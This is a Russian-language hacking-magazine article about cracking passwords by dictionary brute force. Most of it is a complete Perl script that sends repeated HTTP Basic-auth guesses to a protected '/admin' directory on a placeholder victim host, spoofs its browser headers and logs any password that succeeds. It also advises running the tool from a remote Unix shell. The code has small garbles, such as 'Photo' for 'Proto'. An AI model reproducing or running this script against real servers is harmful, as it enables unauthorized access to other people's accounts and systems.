Существует несколько подходов к взлому чьего-либо пароля. Самый «тупой» способ — брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу 😉 То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса =)).

Еще одна слабость брутфорса — это медленная работа… Особенно, если ты на диалапе. Да и сами виндовые брутфорсы глючат… Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные — пройдет довольно много времени.

Дохлый номер… наверное подумаешь ты 😉 Но я тебя обрадую… Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом 😉 Чтобы удовлетворить эти 2 потребности потребуются два компонента:
— Прямые руки
— *nix шелл с открытыми соединениями в internet + поддержка background processes

В общем-то достаточно… Таким образом, у нас два среды для написания брутфорса — Си и Перл. Как истинный фанат я остановлюсь на втором =)

Perl — установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет.

Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих статьях (<URL>), так что повторяться не буду.

Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.

Итак, поехали:

#!/usr/bin/perl

## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com

use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64

$server=»www.victim.com»; ### Удаленный сервер
$port=»80″; ### Удаленный порт
$dir=»/admin»; ### Запароленная директория
$logfile=»sucess.log»; ### Логфайл, куда пишем пароль 😉
$log=»now.log»; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words=»bigdict.txt»; ### Словарь (файл с паролями)
$user=»admin»; ### Имя пользователя

open(file, «$words») or die print «$!\n»;
@data=<file>;
$total=@data;
close file; ### Записываем все пароли в один массив

$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, «>$log») or die print «$!\n»;
$perc=($i*100)/$total; 
$perc=ceil($perc); ### Высчитываем процент
print file «$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n»; ### Пишем в лог статус
close file;
$auth=encode_base64(«$user\:$pass»); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp) ### Порождаем сокет
or die print «Unable to connect to $server:$port\n»;
print $socket «GET $dir HTTP/1.1\n»; 
print $socket «Host: $server\n»;
print $socket «Accept: */*\n»;
print $socket «Referer: http://support.microsoft.com/\n»;
print $socket «User-Agent: Internet Explorer 6.0\n»;
print $socket «Pragma: no-cache\n»;
print $socket «Cache-Control: no-cache\n»;
print $socket «Authorization: Basic $auth\n»;
print $socket «Connection: close\n\n»; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, «>>$logfile») or die print «$!\n»; ### Если пароль верный — пишем в success-лог
print logf «$user:$pass is OK!!!\n»;
close logf;
exit 0; ### Выходим 😉
}
}

Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи 😉

Оставить мнение

Check Also

Исследователи Positive Technologies вновь продемонстрировали небезопасность SS7

Специалисты Positive Technologies в очередной раз продемонстрировали ненадежность SS7 и дв…